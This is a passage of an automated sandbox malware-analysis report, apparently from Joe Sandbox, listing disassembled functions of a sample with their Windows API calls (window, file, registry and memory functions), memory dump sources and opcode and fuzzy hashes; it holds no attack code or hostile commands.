GetTextExtentPointA.GDI32(?,00000000,00000000), ref: 0041AF9B

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ExtentPointText
String ID:
API String ID: 566491939-0
Opcode ID: fe3873e992a20e622ffaf78f93863b288a9be0a8311253c2d6346deae250c6a6
Instruction ID: 6b43be1268843882f9474f888990ee0a0f71ddbfb678ee1088bae751a0726d8f
Opcode Fuzzy Hash: fe3873e992a20e622ffaf78f93863b288a9be0a8311253c2d6346deae250c6a6
Instruction Fuzzy Hash: E3E086F13097102BD600E67E1DC19DB77DC8A483697148177F458E7392D62DDE1A43AE

Function 004062E8 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000000,0042367C,00000000,94CA0000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C), ref: 00406311

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: ff94722aa4050723ad3f6c96c0112c9f8192a5aa4540eb1f1ae13447e7542d04
Instruction ID: 53e57476791a39574122dfc8a3f58f2f78c4a621b5a82e38d1c80b15216a1e52
Opcode Fuzzy Hash: ff94722aa4050723ad3f6c96c0112c9f8192a5aa4540eb1f1ae13447e7542d04
Instruction Fuzzy Hash: EEE0FEB2214209BBDB00DE8ADCC1DABB7ACFB4C654F808105BB1C972428275AC608B71

Function 0042DDE4 Relevance: 1.5, APIs: 1, Instructions: 26registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DE10

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 296f4a6b1841180fcb6525c1425398a2afe0618770c3240f8adf4a5c8222c494
Instruction ID: 68673b5cf84413dff1d7ecec16939cb2303f89f305828e6cd22260af4b89741b
Opcode Fuzzy Hash: 296f4a6b1841180fcb6525c1425398a2afe0618770c3240f8adf4a5c8222c494
Instruction Fuzzy Hash: EDE07EB2610119AF9B40DE8CDC81EEB37ADAB1D350F404016FA08E7200C2B4EC519BB4

Function 00454BF8 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

FindClose.KERNEL32(00000000,000000FF,004707E0,00000000,004715F6,?,00000000,0047163F,?,00000000,00471778,?,00000000,?,00000000), ref: 00454C0E

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 7c8f6db93596433e8c6540ce52a48f0da3b0448ecaf471e45e9c42032ee7c2dc
Instruction ID: 5c2dbd3a099336849a47a332199978da45cb785deb8a29a76394180ab3bc5383
Opcode Fuzzy Hash: 7c8f6db93596433e8c6540ce52a48f0da3b0448ecaf471e45e9c42032ee7c2dc
Instruction Fuzzy Hash: A1E09BB09097004BC715DF39858031A76D19FC9325F05C96AEC99CF3D7E77D84454617

Function 0041467C Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00495556,?,00495578,?,?,00000000,00495556,?,?), ref: 0041469B

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 6e76042b9040d81ea616cca6ecacd77bc76811df147480a1eef497ac36b7c045
Instruction ID: 3a83c41fa5c3d176b15f2666d2672a78f9af76d4247255e2ff0bda4df6ea0631
Opcode Fuzzy Hash: 6e76042b9040d81ea616cca6ecacd77bc76811df147480a1eef497ac36b7c045
Instruction Fuzzy Hash: 59E012723001199F8250CE5EDC88C57FBEDEBC966130983A6F508C7306DA31EC44C7A0

Function 00406F10 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00406F24

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 4c02731fe18b0a47ab7745946c5e8dd4c7dfafdb2aa22804bebcbb41d9412fbb
Instruction ID: adeaf4ebd0e6cd94d64be6b3cb299443ba394f13a0b1cd3d8337db6b6af80796
Opcode Fuzzy Hash: 4c02731fe18b0a47ab7745946c5e8dd4c7dfafdb2aa22804bebcbb41d9412fbb
Instruction Fuzzy Hash: 53D012722091506AD220965A6C44EAB6BDCCBC5770F11063AB558C2181D7209C01C675

Function 0042364C Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004235F8: SystemParametersInfoA.USER32(00000048,00000000,00000000,00000000), ref: 0042360D

ShowWindow.USER32(00410460,00000009,?,00000000,0041EDA4,0042393A,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C), ref: 00423667

Part of subcall function 00423628: SystemParametersInfoA.USER32(00000049,00000000,00000000,00000000), ref: 00423644

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: InfoParametersSystem$ShowWindow
String ID:
API String ID: 3202724764-0
Opcode ID: f1fbc87c7d3064a6cf4368d53b3e4c6ee974437194041f03c0195094467d5de5
Instruction ID: 3e39ddd90fb628193caaea160b6f4ed5bf244f394cc2da11a07db6b12dca8b82
Opcode Fuzzy Hash: f1fbc87c7d3064a6cf4368d53b3e4c6ee974437194041f03c0195094467d5de5
Instruction Fuzzy Hash: 34D05E123821703142307ABB280699B46EC8D822EB389043BB5449B312ED5DCE01116C

Function 004242C4 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(?,00000000), ref: 004242DC

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: 968e2600307bd84f4d65718215a4df57ccfa9b7919b98356d7a542cd4e907fd2
Instruction ID: e359d8c046b4275bb87a72ac3440150ee0889cd0e7de0465f76ccf46c1161c2e
Opcode Fuzzy Hash: 968e2600307bd84f4d65718215a4df57ccfa9b7919b98356d7a542cd4e907fd2
Instruction Fuzzy Hash: 81D05EE27011602BCB01BAED54C4AC667CC9B8D25AB1840BBF904EF257D638CE40C398

Function 004669B4 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,00000000,?,0046769C,00000000,00000000,00000000,0000000C,00000000), ref: 004669CC

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 1170af52fdfa1b22d402febd08e71c9ecbcd6356f79449625b478cc807a9fefe
Instruction ID: a3a9c25b9c80179eca176ae0059a0aa24e3542550d9dc9bac8dced773014ab2a
Opcode Fuzzy Hash: 1170af52fdfa1b22d402febd08e71c9ecbcd6356f79449625b478cc807a9fefe
Instruction Fuzzy Hash: 0ED09272210A109F8364CAADC9C4C97B3ECEF4C2213004659E54AC3B15D664FC018BA0

Function 0042CD24 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,004515CB,00000000), ref: 0042CD2F

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 699a035a793c66476b33cfcb292e18e8433149420fa0246697406cd7a61acf8b
Instruction ID: 53db4a1afaa3b7bebcc80daf879f764776582c58df104e6651e2d127eece83ed
Opcode Fuzzy Hash: 699a035a793c66476b33cfcb292e18e8433149420fa0246697406cd7a61acf8b
Instruction Fuzzy Hash: 48C08CE03222001A9E60A6BD2CC551F06CC891423A3A41E3BB129EB2E2D23D88162818

Function 00406EC0 Relevance: 1.5, APIs: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,0040A6D4,0040CC80,?,00000000,?), ref: 00406EDD

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d487f09bce5ab2446fefe52ff91139140134d323c8d44495a9ab4cbc0f9c4527
Instruction ID: fbce42704b7dd2fd8be74a622cf743b4adaa06f64be9adac3ea2875d17ee2119
Opcode Fuzzy Hash: d487f09bce5ab2446fefe52ff91139140134d323c8d44495a9ab4cbc0f9c4527
Instruction Fuzzy Hash: EAC048A13C130032F92035A60C87F16008C5754F0AE60C43AB740BF1C2D8E9A818022C

Function 0045092C Relevance: 1.5, APIs: 1, Instructions: 11fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNEL32(?,?,0045C192,00000000,0045C31D,?,00000000,00000002,00000002), ref: 00450933

Part of subcall function 004506B4: GetLastError.KERNEL32(004504D0,00450776,?,00000000,?,0049799C,00000001,00000000,00000002,00000000,00497AFD,?,?,00000005,00000000,00497B31), ref: 004506B7

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorFileLast
String ID:
API String ID: 734332943-0
Opcode ID: dfd6122944db5b319254e7b77af95d7469dcf5406d44b15aeae4525e96e42585
Instruction ID: 9573b676cf6dd5fef234c73c81a1a5d02d78d5ca05287b50762f3c98dcfac2da
Opcode Fuzzy Hash: dfd6122944db5b319254e7b77af95d7469dcf5406d44b15aeae4525e96e42585
Instruction Fuzzy Hash: 1AC04CA5700211479F10A6BA85C1A0662D86A5D3157144066BD08CF207D668D8148A18

Function 004072A8 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(00000000,?,0049792A,00000000,00497AFD,?,?,00000005,00000000,00497B31,?,?,00000000), ref: 004072B3

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 9cfe1b671e2ded52e2a4f1899edd371c25323ab6eac1b77aed394817f5a1d109
Instruction ID: 2ee9fcf0c2ecb8048618371478a38130c752a95b947e2a8aefd026f579ab26ad
Opcode Fuzzy Hash: 9cfe1b671e2ded52e2a4f1899edd371c25323ab6eac1b77aed394817f5a1d109
Instruction Fuzzy Hash: 33B012E03D120A2BCA0079FE4CC192A00CC46292163401B3B3006EB1C3D83DC8180824

Function 0042E3EF Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,0042E40D), ref: 0042E400

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: cb8e2ebd86b0ac1182f6c4657d989dfa6a466ad308997f4b3834ff3b1e7758f7
Instruction ID: 426ac138898b17598b25982f2c454791bd479401c65f9a69ae9baa170422678e
Opcode Fuzzy Hash: cb8e2ebd86b0ac1182f6c4657d989dfa6a466ad308997f4b3834ff3b1e7758f7
Instruction Fuzzy Hash: CDB09B7670C6105EE709D6D5B45552D63D4D7C57207E14477F010D2581D57D58054E18

Function 004165EC Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?), ref: 004165F3

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: DestroyWindow
String ID:
API String ID: 3375834691-0
Opcode ID: 1244af60e57b01067fe56da529b9c4312cbd500fa9ed17bad69dff1823a021af
Instruction ID: 4f6e5339ba6c71e81ef5aec1f6829bfe42d3c8de95bc03762545e97b2cddf6f9
Opcode Fuzzy Hash: 1244af60e57b01067fe56da529b9c4312cbd500fa9ed17bad69dff1823a021af
Instruction Fuzzy Hash: 1AA00275501500AADA00E7B5D849F7E2298BB44204FD905F9714897056C57C99008B55

Function 00448728 Relevance: 1.4, APIs: 1, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b311c6ba27037e114d2a0e0a4cc9575de8b4ed7f96be8eb5d2287752a4e0dd9
Instruction ID: 41a6872630840156d23f43a697f0b10540748f54e9aa1b8241e7bbe25a2b1888
Opcode Fuzzy Hash: 4b311c6ba27037e114d2a0e0a4cc9575de8b4ed7f96be8eb5d2287752a4e0dd9
Instruction Fuzzy Hash: 73517574E002099FDB00EFA9C892AAFBBF5EB49314F50817AE500E7351DB389D41CB98

Function 0047D888 Relevance: 1.4, APIs: 1, Instructions: 154COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,0047DA68,?,?,?,?,00000000,00000000,00000000,00000000), ref: 0047DA22

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: f00937e419430fadacdfb08ba868c06bfaea8747007b4ff93a078d6954f67ca3
Instruction ID: f29de2ad8c50687240b36adc22138c5273adba91495e2343049bdb371ee5aac2
Opcode Fuzzy Hash: f00937e419430fadacdfb08ba868c06bfaea8747007b4ff93a078d6954f67ca3
Instruction Fuzzy Hash: A051B6B0A14214AFDB10DF54D8C4B9ABBF8EF19308F108077E944A7391D738AE45CB6A

Function 0041F3C4 Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041EDA4,?,0042388F,00423C0C,0041EDA4), ref: 0041F3E2

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f624f178b2757757f6ee0ed82108e7e17b49aa81eb1cfd09d0e3ddd3732ee692
Instruction ID: 3312bc658de40493dbbbdb628fa1ac862c14c743cb2aabe02eeb7d71ec829e14
Opcode Fuzzy Hash: f624f178b2757757f6ee0ed82108e7e17b49aa81eb1cfd09d0e3ddd3732ee692
Instruction Fuzzy Hash: D5115A752007059BCB20DF19D880B82FBE5EF98390F10C53BE9688B385D3B4E8458BA9

Function 00452FC4 Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,0045302D), ref: 0045300F

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 796ee09302341f2f0fe022b6b7ad64e2259239b3e6510a293da86372227c0e6a
Instruction ID: b902f5f71593d0acd8113edc39c0d5725662cc955bae9521e0e34912f41e4d76
Opcode Fuzzy Hash: 796ee09302341f2f0fe022b6b7ad64e2259239b3e6510a293da86372227c0e6a
Instruction Fuzzy Hash: 850170356042486FC701DF699C008EEFBE8EB4D76171082B7FC24C3382D7345E059664

Function 0040170C Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,?,00004000,?,?,?,?,?,00401973), ref: 00401766

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 3cb279d385dc81f8188aef87182d0a586e7f532f71175ddb5b892d42a5daf7f8
Instruction ID: fd45504e6079eb3c344fd15592bdf3984e08e9418c18d248e8b2091ea2ac4f2a
Opcode Fuzzy Hash: 3cb279d385dc81f8188aef87182d0a586e7f532f71175ddb5b892d42a5daf7f8
Instruction Fuzzy Hash: A10120766443148FC3109F29EDC0E2677E8D794378F15453EDA85673A1D37A6C0187D8

Function 00406F48 Relevance: 1.3, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00406F49

Memory Dump Source

